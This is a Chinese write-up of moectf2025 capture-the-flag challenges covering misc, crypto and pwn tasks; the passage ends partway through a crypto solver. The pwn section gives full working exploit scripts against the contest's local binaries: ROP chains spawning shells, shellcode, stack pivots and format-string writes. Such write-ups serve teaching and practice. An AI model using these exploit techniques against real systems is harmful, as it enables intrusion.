Skip to content

moectf2025 Week1-Week3 WP

约 7359 字大约 25 分钟

2025-10-12

misc

Rush

gif动图,抽帧第12帧有二维码但缺角,用ppt补全第三个角扫码即可

ez_LSB

丢进StegSolve,勾上red通道即可

ez_锟斤拷????

exp:

def full_to_half(text):
    result = []
    for char in text:
        code = ord(char)
        if code == 0x3000:
            result.append(' ')
        elif 0xFF01 <= code <= 0xFF5E:
            result.append(chr(code - 0xFEE0))
        else:
            result.append(char)
    return ''.join(result)

with open('flag.txt', 'r', encoding='utf-8') as f:
    s = f.read().strip()

b = s.encode('gb18030')
original = b.decode('utf-8')

flag_full = original
flag_half = full_to_half(flag_full)

print(flag_half)

SSTV

用RX-SSTV,直接播放音频使用内录作为麦克风即可解析为图像,读取flag

encrypted_pdf

hashcat爆破密码为qwe123,flag藏在图片后,选中复制即可

捂住一只耳

用Audacity打开,其中一个声道有摩斯密码,读取即为flag

Enchantment

用Wireshark打开,发现里面有png文件传输,dump出来发现图中有奇怪的文字,网上搜索得知为标准银河字母加密,对照写出flag

ez_ssl

在http请求中可以发现sslkey.log,导入Wireshark在http请求中找到一个zip,zip注释中说密码是7位数字,爆破即可

ez_png

最后一个idat很短,发现zlib文件头,提取出来解压即可

import zlib
import binascii

id = '789CCBCD4F4D2E49ABCE30744971CD8B0F3089CCF14F7489F7F4D3F54C3109A90500A8D00A5F18'
result = binascii.unhexlify(id)
print(result)
result = zlib.decompress(result)
print(result)

万里挑一

先写个脚本生成字典:

import zipfile
import os
import re
import shutil
from tqdm import tqdm

def try_extract(zip_path, extract_to, password=None):
    try:
        with zipfile.ZipFile(zip_path, 'r') as zip_ref:
            try:
                if password:
                    zip_ref.extractall(extract_to, pwd=password.encode())
                else:
                    zip_ref.extractall(extract_to)
                return True
            except RuntimeError as e:
                if 'encrypted' in str(e):
                    return False
                raise
    except (zipfile.BadZipFile, EOFError):
        return False
    except Exception as e:
        print(f"Unexpected error with {zip_path}: {e}")
        return False

def extract_nested_zips(start_zip, output_folder="extracted", depth=0, max_depth=20):
    if depth > max_depth:
        return []
    
    passwords = []
    current_extract = os.path.join(output_folder, f"layer_{depth}")
    
    if not os.path.exists(current_extract):
        os.makedirs(current_extract)
    
    if not try_extract(start_zip, current_extract):
        if not try_extract(start_zip, current_extract, ""):
            print(f"Failed to extract {start_zip} at depth {depth}")
            return passwords
    
    for root, dirs, files in os.walk(current_extract):
        for file in files:
            file_path = os.path.join(root, file)
            
            if file.endswith('.zip'):
                print(f"Processing {file_path} at depth {depth}")
                new_passwords = extract_nested_zips(file_path, output_folder, depth+1, max_depth)
                passwords.extend(new_passwords)
            
            else:
                try:
                    with open(file_path, 'r') as f:
                        content = f.read()
                        match = re.search(r'The password is:([a-f0-9]+)', content)
                        if match:
                            passwords.append(match.group(1))
                            print(f"Found password at depth {depth}: {match.group(1)}")
                except Exception as e:
                    print(f"Error reading {file_path}: {e}")

    
    return passwords

def unlock_zip(lock_zip, passwords):
    """Try each password to unlock the lock.zip file."""
    if not os.path.exists(lock_zip):
        print(f"Error: {lock_zip} not found")
        return False
    
    print(f"\nTrying {len(passwords)} passwords to unlock {lock_zip}...")
    
    for password in tqdm(passwords, desc="Testing passwords"):
        try:
            with zipfile.ZipFile(lock_zip, 'r') as zip_ref:
                zip_ref.extractall(pwd=password.encode())
                print(f"password: {password}")
                return True
        except:
            continue
    
    return False

def main():
    # Clear previous extraction if exists
    if os.path.exists("extracted"):
        shutil.rmtree("extracted")
    
    print("Starting deep extraction...")
    passwords = extract_nested_zips('password.zip', max_depth=50)
    
    if not passwords:
        print("\nNo passwords found in the nested structure.")
        return
    
    unique_passwords = []
    seen = set()
    for p in passwords:
        if p not in seen:
            seen.add(p.strip())
            unique_passwords.append(p)
    
    print(f"\nFound {len(unique_passwords)} unique passwords.")
    with open('dict.txt', 'w') as f:
        for pwd in unique_passwords:
            f.write(pwd + '\n')
    print(f"已创建字典文件 dict.txt 包含 {len(unique_passwords)} 个密码")

if __name__ == "__main__":
    main()

用AAPR在字典中找到密码,获得flag.zip

flag.zip中有明文.exe,是pe文件,头是固定的,使用bkcrack明文攻击即可

pwn

ez_u64

数据转换

from pwn import *
p = remote('127.0.0.1',52128)


p.recvuntil(b"Here is the hint.")
num_bytes = p.recv(8)
num_value = u64(num_bytes)
p.recvuntil(b">")
p.sendline(str(num_value).encode())
p.interactive()

EZtext

简单栈溢出覆盖返回地址

from pwn import *
p = remote('127.0.0.1',51054)

treasure_addr = 0x4011B6
ret_addr = 0x4011DE # gadget
p.recvuntil(b"how many bytes do you need to overflow the stack?\n")
p.sendline(b"32")  # 16 + 8(ret) + 8(treasure) = 32

payload = b'A' * 16
payload += p64(ret_addr)    # 用于栈对齐的 ret 指令
payload += p64(treasure_addr)  # 目标函数

p.send(payload)
p.interactive()

ezshellcode

先把内存设置为可读可写可执行,然后发shellcode即可

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

io = remote("127.0.0.1", 1234)
#io = process("./pwn")


io.recvuntil(b"I will give you some choices. Choose wisely!")
log.info("Sending choice '4' to set memory as RWX")
io.sendline(b"4")
io.recvuntil(b"think about the permissions you just set.")
shellcode = asm(shellcraft.sh())
log.info("Generated shellcode:")
print(hexdump(shellcode))
io.sendline(shellcode)

io.interactive()

find it

问答题

I've hidden the fd of stdout. Can you find it?
3
You are right.What would you like to see?
/flag
What is its fd?
1
moectf{******}

认识libc

ezlibc青春版,已经执行过printf,无需二次返回main

from pwn import *

context(os="linux", arch="amd64", log_level="debug")

# io = process("./pwn")
io = remote("127.0.0.1", 1234)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")


io.recvuntil(b"A gift of forbidden knowledge, the location of 'printf': ")
leaked_printf_str = io.recvline().strip()
leaked_printf_addr = int(leaked_printf_str, 16)
log.success(f"printf address: {hex(leaked_printf_addr)}")

libc.address = leaked_printf_addr - libc.symbols['printf']
log.success(f"libc base address: {hex(libc.address)}")

pop_rdi_ret = next(libc.search(asm('pop rdi; ret')))
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))
system_addr = libc.symbols['system']
ret_gadget = pop_rdi_ret + 1 

offset_to_rbp = 64
payload = b'A' * offset_to_rbp
payload += p64(0xdeadbeefcafebabe)
payload += p64(ret_gadget)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)

io.recvuntil(b"> ")
io.sendline(payload)

io.interactive()

ezpivot

栈迁移

from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
elf = ELF('./pwn')
#p = process('./pwn')
p = remote('127.0.0.1', 1234)

rop = ROP(elf)
leave_ret_gadget = 0x40120f
pop_rdi_ret_gadget = rop.find_gadget(['pop rdi', 'ret']).address
ret_gadget = rop.find_gadget(['ret']).address
system_addr = elf.plt['system']
desc_addr = elf.symbols['desc']

# 这里我们预留0x800的空间给新栈,太小会导致system函数无法运行
buffer_headroom = 0x800
rop_chain_addr = desc_addr + buffer_headroom

rop_chain = p64(pop_rdi_ret_gadget)
rop_chain += p64(desc_addr)             # RDI -> 指向缓冲区的开头,即 "/bin/sh"
rop_chain += p64(ret_gadget)            # 栈对齐
rop_chain += p64(system_addr)           # 跳转到 system 函数

# [/bin/sh\x00] + [padding] + [Fake RBP for leave] + [ROP Chain]
payload1 = b'/bin/sh\x00'
padding_size = buffer_headroom - len(payload1)
payload1 += b'\x00' * padding_size
payload1 += p64(0xdeadbeefdeadbeef)     # Fake RBP
payload1 += rop_chain

final_payload_to_send = b'-1 ' + payload1
p.recvuntil(b'the length of your introduction.\n')
p.send(final_payload_to_send)
p.recvuntil(b'Ok,we got your introduction!\n')

offset_to_rbp = 12
payload2_pivot = b'A' * offset_to_rbp
payload2_pivot += p64(rop_chain_addr)
payload2_pivot += p64(leave_ret_gadget)

p.recvuntil(b'Now, please tell us your phone number:\n')
p.send(payload2_pivot)

p.interactive()

fmt

格式化字符串漏洞,这里懒得本地调试确定偏移了,直接远程暴力尝试

from pwn import *

HOST = '127.0.0.1'
PORT = 52618

def is_letter(byte_val):
    return (b'a'[0] <= byte_val <= b'z'[0]) or (b'A'[0] <= byte_val <= b'Z'[0])

def find_offsets_remote():
    p = remote(HOST, PORT)

    try:
        start_offset = 7
        end_offset = 25
        probe_payload = b"|".join([f"%{i}$p".encode() for i in range(start_offset, end_offset)])
        
        p.recvuntil(b"what's your name?\n")
        log.info(f"发送单次探测载荷: {probe_payload}")
        p.sendline(probe_payload)
        
        p.recvuntil(b'Nice to meet you,')
        leaked_data = p.recvline().strip()
        leaked_parts = leaked_data.split(b'|')
        
        offset_s2_val = None
        offset_v4_ptr = None

        for index, part in enumerate(leaked_parts):
            current_offset = start_offset + index
            if part.startswith(b'0x5') and not offset_v4_ptr:
                offset_v4_ptr = current_offset
                log.success(f"找到 v4 指针的偏移: {current_offset} -> {part.decode()}")
            try:
                if b'nil' in part:
                    continue
                leaked_val = int(part, 16)
                leaked_bytes = p64(leaked_val)
                if all(is_letter(b) for b in leaked_bytes[:5]) and leaked_bytes[5] == 0:
                    if not offset_s2_val:
                        offset_s2_val = current_offset
                        log.success(f"找到 s2 内容的偏移: {current_offset} -> {leaked_bytes[:5].decode()}")
            except (ValueError, IndexError):
                continue
        p.close()

        if not offset_s2_val or not offset_v4_ptr:
            return None, None
        return offset_s2_val, offset_v4_ptr

    except EOFError:
        p.close()
        return None, None


def exploit(offset_s2, offset_v4):
    log.info(f"s2_offset={offset_s2}, v4_offset={offset_v4}")
    p = remote(HOST, PORT)

    try:
        payload = f'%{offset_s2}$p.%{offset_v4}$s'.encode()

        log.info(f"payload: {payload}")
        p.recvuntil(b"what's your name?\n")
        p.sendline(payload)

        p.recvuntil(b'Nice to meet you,')
        leaked_data = p.recvline().strip()
        log.info(f"leak: {leaked_data}")
        leaked_s2_hex, leaked_v4_str = leaked_data.split(b'.')
        s2_value = int(leaked_s2_hex, 16)
        treasure1 = p64(s2_value)[:5]
        log.success(f"s2: {treasure1}")
        treasure2 = leaked_v4_str[:5]
        log.success(f"v4 content: {treasure2}")
        p.recvuntil(b"Can you find them?\n")
        p.sendline(treasure1)

        p.recvuntil(b"Yeah,another one?\n")
        p.sendline(treasure2)

        p.recvuntil(b"You got it!\n")
        p.interactive()

    except EOFError:
        p.close()


if __name__ == "__main__":
    s2_offset, v4_offset = find_offsets_remote()

    if s2_offset and v4_offset:
        exploit(s2_offset, v4_offset)

randomlock

分析二进制可知seed恒为1,c++生成一串即可

from pwn import *

HOST = '127.0.0.1' 
PORT = 54065

correct_passwords = [
    9383,
    886,
    2777,
    6915,
    7793,
    8335,
    5386,
    492,
    6649,
    1421
]

def main():
    p = remote(HOST, PORT)
    for i, password in enumerate(correct_passwords):
        p.recvuntil(b'>')
        log.info(f"发送密码 {i+1}: {password}")
        p.sendline(str(password).encode())
    p.interactive()

if __name__ == "__main__":
    main()

str_check

栈溢出覆盖返回地址

from pwn import *

p = remote('127.0.0.1', 57640)

backdoor_addr = 0x401236
ret_gadget=0x40124F

padding = b'meow\x00' + b'A' * 35
payload = padding + p64(ret_gadget) + p64(backdoor_addr)
n_copy = len(payload)
p.recvuntil(b"What can u say?\n")
p.sendline(payload)
p.recvuntil(b"So,what size is it?\n")
p.sendline(str(n_copy).encode())

p.interactive()

syslock

lose函数中存在syscall,构造rop调用该syscall即可

from pwn import *

HOST = '127.0.0.1'
PORT = 58708
exe = ELF("./pwn")
context.binary = exe
rop = ROP(exe)
try:
    pop_rdi_rsi_rdx_ret = rop.find_gadget(['pop rdi', 'pop rsi', 'pop rdx', 'ret'])[0]
    pop_rax_ret = rop.find_gadget(['pop rax', 'ret'])[0]
    syscall_addr = rop.find_gadget(['syscall'])[0]
except IndexError as e:
    exit(1)

bss_addr = exe.bss() + 0x200 # 在.bss段找一块可写的空地
read_plt = exe.plt['read']

# 构建ROP链
chain = b''
# --- 调用 read(0, bss_addr, 8) ---
chain += p64(pop_rdi_rsi_rdx_ret)
chain += p64(0)          # rdi = 0 (stdin)
chain += p64(bss_addr)   # rsi = bss_addr
chain += p64(8)          # rdx = 8 (bytes to read)
chain += p64(read_plt)   # 调用 read 函数

# --- 调用 execve(bss_addr, 0, 0) ---
chain += p64(pop_rdi_rsi_rdx_ret)
chain += p64(bss_addr)   # rdi = pointer to "/bin/sh"
chain += p64(0)          # rsi = 0
chain += p64(0)          # rdx = 0
chain += p64(pop_rax_ret)
chain += p64(59)         # rax = 0x3b (SYS_execve)
chain += p64(syscall_addr) # 触发系统调用


def main():
    p = remote(HOST, PORT)
    p.recvuntil(b"choose mode\n")
    p.sendline(b'-32')
    p.recvuntil(b"Input your password\n")
    p.send(p32(59)) # '59' 覆盖 i
    p.recvuntil(b"Developer Mode.\n")


    # 72: 64(buf) + 8(saved rbp)
    offset_to_ret = 72
    payload = b'A' * offset_to_ret
    payload += chain
    p.send(payload)
    sleep(0.1)
    p.send(b'/bin/sh\x00')
    p.interactive()


if __name__ == "__main__":
    main()

xdulaker

调用photo时溢出覆盖栈上内容使得laker函数校验通过,构造ROP进入backdoor即可

from pwn import *

context(os='linux', arch='amd64')
#p = process("./pwn")
p = remote("127.0.0.1", 1234)
elf = ELF("./pwn")


p.sendlineafter(b">", b"1")
p.recvuntil(b"Thanks,I'll give you a gift:")
opt_addr = int(p.recvline().strip(), 16)
pie_base = opt_addr - elf.symbols['opt']
log.success(f"PIE Base: {hex(pie_base)}")

payload_for_photo = b'A' * 32 + b'xdulaker'
p.sendlineafter(b">", b"2")
p.sendlineafter(b"Hey,what's your name?!\n", payload_for_photo)

p.sendlineafter(b">", b"3")

p.recvuntil(b"welcome,xdulaker\n")
rop = ROP(elf)

backdoor_addr = pie_base + elf.symbols['backdoor']
ret_gadget_addr = rop.find_gadget(['ret'])[0]
writable_bss_addr = elf.bss()+0x800
log.success(f"backdoor address: {hex(backdoor_addr)}")

payload_for_laker = flat(
    b'A' * (48-8),              # 填充 s1 缓冲区
    writable_bss_addr,      # [rbp] 覆盖旧 rbp 为一个可写地址,以满足 leave 指令
    ret_gadget_addr,        # [rip] 首先跳转到 ret gadget 来对齐栈
    backdoor_addr + 8           # [new_stack] 然后再跳转到 backdoor 函数
)

p.sendline(payload_for_laker)


p.interactive()

eazylibc

先patchelf使本地二进制使用题目给的libc

关键在于获取libc基址

然而有延迟绑定机制的存在,第一次打印的时候read还没有被调用,打印出来的并不是libc中的read,而是plt表中的read

但借此我们可以获取PIE基址

通过PIE基址+偏移我们可以返回到main函数运行第二次

此时由于read已经被调用过所以打印出的是真实地址

减去偏移即可得到libc基址

然后在libc中可以搜索gadget,构造system调用即可

from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./pwn")
io = remote("127.0.0.1", 1234)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

io.recvuntil(b"What is this?\nHow can I use ")
leaked_read_str1 = io.recvuntil(b" without a backdoor? Damn!\n", drop=True)
leaked_read_plt = int(leaked_read_str1, 16)
log.success(f"Address: {hex(leaked_read_plt)}")
pie_base = leaked_read_plt - 0x1060
log.success(f"PIE Base Address: {hex(pie_base)}")

elf.address = pie_base
new_stack_rbp = elf.bss() + 0x200
payload1 = b'A' * 32
payload1 += p64(new_stack_rbp) # leave; ret会进行栈迁移
payload1 += p64(pie_base + 0x11ee) 
io.send(payload1)


io.recvuntil(b"What is this?\nHow can I use ")
leaked_read_str2 = io.recvuntil(b" without a backdoor? Damn!\n", drop=True)
leaked_read = int(leaked_read_str2, 16)
log.success(f"Address: {hex(leaked_read)}")
libc_base = leaked_read - libc.sym['read']
log.success(f"libc Base Address: {hex(libc_base)}")
libc.address = libc_base


pop_rdi_ret = next(libc.search(asm('pop rdi; ret')))
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))
system_addr = libc.sym['system']


payload3 = b'B' * 32
payload3 += p64(new_stack_rbp) 
payload3 += p64(pop_rdi_ret + 1)       # ret
payload3 += p64(pop_rdi_ret)       # pop rdi; ret
payload3 += p64(bin_sh_addr)       # -> rdi = address of "/bin/sh"
payload3 += p64(system_addr)       # ret to system()
io.send(payload3)

io.interactive()

fmt_S

每次talk会将flag^1,在bss上查看flag紧邻atk,只要在读取atk时输入长度为8,my_read就可以覆盖flag为0,这样保证我们有3次输入机会

在talk的printf函数调用处下断点发现栈上有链(链上地址都在栈中,这样就可以只修改低位字节),那么可以利用链实行任意地址写

在talk函数的retn处下断点发现rdi为atk,那么可以将atk设置为/bin/sh(加上\x00正好8个字节),然后将栈上talk函数的返回地址利用链写成he函数中system的地方即可

from pwn import *

context(os="linux", arch="amd64", log_level="info")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#io = process("./pwn")
io = remote("127.0.0.1", 1234)

def interact(payload_str):
    fmt = payload_str.ljust(32, b'\x00')
    payload = fmt 
    io.sendafter(b"him...\n", payload)

SYSTEM_CALL_ADDR = 0x40127B
LEAK_RBP_PARAM = 8

interact(f"%{LEAK_RBP_PARAM}$p".encode())
io.recvuntil(b'0x')
leaked_talk_rbp = int(io.recvuntil(b"?", drop=True), 16)-0x20
info(f"Leaked RBP: {hex(leaked_talk_rbp)}")

return_addr_location = leaked_talk_rbp + 0x8 
io.sendafter(b"battle!\n", b'/bin/sh\x00')


fmt2_str = "%{}c%{}$hn".format(return_addr_location % 0x10000, 8+0x48//8).encode()
interact(fmt2_str)
io.sendafter(b"battle!\n", b'/bin/sh\x00')


fmt3_str = "%{}c%{}$hn".format(SYSTEM_CALL_ADDR % 0x10000, 47).encode()
interact(fmt3_str)
io.sendafter(b"battle!\n", b'/bin/sh\x00')

io.interactive()

crypto

ez_DES

key有三字节未知,爆破即可

from Crypto.Cipher import DES
import string
import itertools

c = b'\xe6\x8b0\xc8m\t?\x1d\xf6\x99sA>\xce \rN\x83z\xa0\xdc{\xbc\xb8X\xb2\xe2q\xa4"\xfc\x07'

key_prefix = 'ezdes'
characters = string.ascii_letters + string.digits + string.punctuation

for suffix_chars in itertools.product(characters, repeat=3):
    try:
        suffix = ''.join(suffix_chars)
        potential_key = (key_prefix + suffix).encode('utf-8')
        cipher = DES.new(potential_key, DES.MODE_ECB)
        decrypted_text = cipher.decrypt(c)
        if decrypted_text.startswith(b'moectf{'):
            flag = decrypted_text.split(b'}')[0].decode('utf-8') + '}'
            print(f"Flag: {flag}")
            break
    except Exception as e:
        continue

baby_next

由于q是p的后114514个素数,因此p,q应该都很接近平方根,尝试平方根附近的素数即可

from Crypto.Util.number import long_to_bytes
import gmpy2
import math

n = 96742777571959902478849172116992100058097986518388851527052638944778038830381328778848540098201307724752598903628039482354215330671373992156290837979842156381411957754907190292238010742130674404082688791216045656050228686469536688900043735264177699512562466087275808541376525564145453954694429605944189276397
c = 17445962474813629559693587749061112782648120738023354591681532173123918523200368390246892643206880043853188835375836941118739796280111891950421612990713883817902247767311707918305107969264361136058458670735307702064189010952773013588328843994478490621886896074511809007736368751211179727573924125553940385967
e = 65537
ITERATIONS = 114514


s = gmpy2.isqrt(n)
avg_gap = math.log(s)
delta_approx = ITERATIONS * avg_gap
# p  sqrt(n) - delta / 2
p_approx = s - int(delta_approx / 2)
p_candidate = gmpy2.prev_prime(p_approx)
while True:
    if n % p_candidate == 0:
        p = p_candidate
        q = n // p
        print(f"p = {p}")
        print(f"q = {q}")
        break
    p_candidate = gmpy2.prev_prime(p_candidate)


phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)

print(f"Flag: {flag.decode('utf-8')}")

ezBSGS

Baby-Step Giant-Step

import math

def solve_bsgs(base, result, modulus):
    m = math.isqrt(modulus) + 1
    baby_steps = {}
    baby_val = 1
    for j in range(m):
        if baby_val not in baby_steps:
            baby_steps[baby_val] = j
        baby_val = (baby_val * base) % modulus
    a_m = pow(base, m, modulus)
    inv_a_m = pow(a_m, modulus - 2, modulus)
    giant_val = result
    for i in range(m):
        if giant_val in baby_steps:
            j = baby_steps[giant_val]
            return i * m + j
        giant_val = (giant_val * inv_a_m) % modulus
    return None


if __name__ == "__main__":
    a = 13
    b = 114514
    p = 100000000000099

    print(f"{a}^x = {b} mod {p}")
    x = solve_bsgs(a, b, p)

    if x is not None:
        print(f"x : {x}")
    else:
        print("none")

ez_square

完全平方公式,然后得到p-q,p+q,然后解出p,q

from Crypto.Util.number import long_to_bytes
import gmpy2

n = 83917281059209836833837824007690691544699901753577294450739161840987816051781770716778159151802639720854808886223999296102766845876403271538287419091422744267873129896312388567406645946985868002735024896571899580581985438021613509956651683237014111116217116870686535030557076307205101926450610365611263289149
c = 69694813399964784535448926320621517155870332267827466101049186858004350675634768405333171732816667487889978017750378262941788713673371418944090831542155613846263236805141090585331932145339718055875857157018510852176248031272419248573911998354239587587157830782446559008393076144761176799690034691298870022190
hint = 5491796378615699391870545352353909903258578093592392113819670099563278086635523482350754035015775218028095468852040957207028066409846581454987397954900268152836625448524886929236711403732984563866312512753483333102094024510204387673875968726154625598491190530093961973354413317757182213887911644502704780304
e = 65537


D = gmpy2.isqrt(hint) # D = p - q
S_squared = 4 * n + D * D
S = gmpy2.isqrt(S_squared) # S = p + q

p = (S + D) // 2
q = (S - D) // 2

assert p * q == n
print(f"p = {p}")
print(f"q = {q}")


phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"Flag: {flag.decode('utf-8')}")

ezAES

rc = [0x12, 0x23, 0x34, 0x45, 0x56, 0x67, 0x78, 0x89, 0x9a, 0xab, 0xbc, 0xcd, 0xde, 0xef,0xf1]

s_box = [
	[0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76],
	[0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0],
	[0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15],
	[0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75],
	[0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84],
	[0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf],
	[0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8],
	[0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2],
	[0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73],
	[0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb],
	[0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79],
	[0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08],
	[0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a],
	[0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e],
	[0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf],
	[0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
]

s_box_inv = [
	[0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb],
	[0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb],
	[0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e],
	[0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25],
	[0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92],
	[0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84],
	[0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06],
	[0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b],
	[0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73],
	[0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e],
	[0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b],
	[0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4],
	[0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f],
	[0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef],
	[0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61],
	[0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]
]

def key_expansion(grid):
    for i in range(10 * 4):
        r = grid[-4:]
        if i % 4 == 0:
            for j, v in enumerate(r[1:] + r[:1]):
                r[j] = s_box[v >> 4][v & 0xf] ^ (rc[i // 4] if j == 0 else 0)
        for j in range(4):
            grid.append(grid[-16] ^ r[j])
    return grid

def add_round_key(grid, round_key):
    for i in range(16):
        grid[i] ^= round_key[i]

def inv_sub_bytes(grid):
    for i, v in enumerate(grid):
        grid[i] = s_box_inv[v >> 4][v & 0xf]
        
def inv_mix_columns(grid):
    def mul(a, b):
        p = 0
        for _ in range(8):
            if b & 1: p ^= a
            hi_bit = a & 0x80
            a = (a << 1) & 0xff
            if hi_bit: a ^= 0x1b
            b >>= 1
        return p

    def inv_mix_column(c):
        return [
            mul(c[0], 0x0e) ^ mul(c[1], 0x0b) ^ mul(c[2], 0x0d) ^ mul(c[3], 0x09),
            mul(c[0], 0x09) ^ mul(c[1], 0x0e) ^ mul(c[2], 0x0b) ^ mul(c[3], 0x0d),
            mul(c[0], 0x0d) ^ mul(c[1], 0x09) ^ mul(c[2], 0x0e) ^ mul(c[3], 0x0b),
            mul(c[0], 0x0b) ^ mul(c[1], 0x0d) ^ mul(c[2], 0x09) ^ mul(c[3], 0x0e),
        ]

    for i in range(0, 16, 4):
        grid[i:i + 4] = inv_mix_column(grid[i:i + 4])

def decrypt(block, expanded_key):
    add_round_key(block, expanded_key[-16:])
    inv_sub_bytes(block)
    for i in range(9, 0, -1):
        add_round_key(block, expanded_key[i * 16 : (i+1) * 16])
        inv_mix_columns(block)
        inv_sub_bytes(block)
    add_round_key(block, expanded_key[:16])
    return block

def aes_decrypt(key, ciphertext):
    expanded = key_expansion(bytearray(key))
    b = bytearray(ciphertext)
    for i in range(0, len(b), 16):
        b[i:i + 16] = decrypt(b[i:i + 16], expanded)
    return bytes(b)

if __name__ == '__main__':
    key = b'Slightly different from the AES.'
    enc = b'%\x98\x10\x8b\x93O\xc7\xf02F\xae\xedA\x96\x1b\xf9\x9d\x96\xcb\x8bT\r\xd31P\xe6\x1a\xa1j\x0c\xe6\xc8'

    decrypted_flag = aes_decrypt(key, enc)
    print(decrypted_flag)

ezlegendre

from Crypto.Util.number import long_to_bytes

p = 258669765135238783146000574794031096183
a = 144901483389896508632771215712413815934
ciphertext = [
    102230607782303286066661803375943337852, 196795077203291879584123548614536291210, 41820965969318717978206410470942308653,
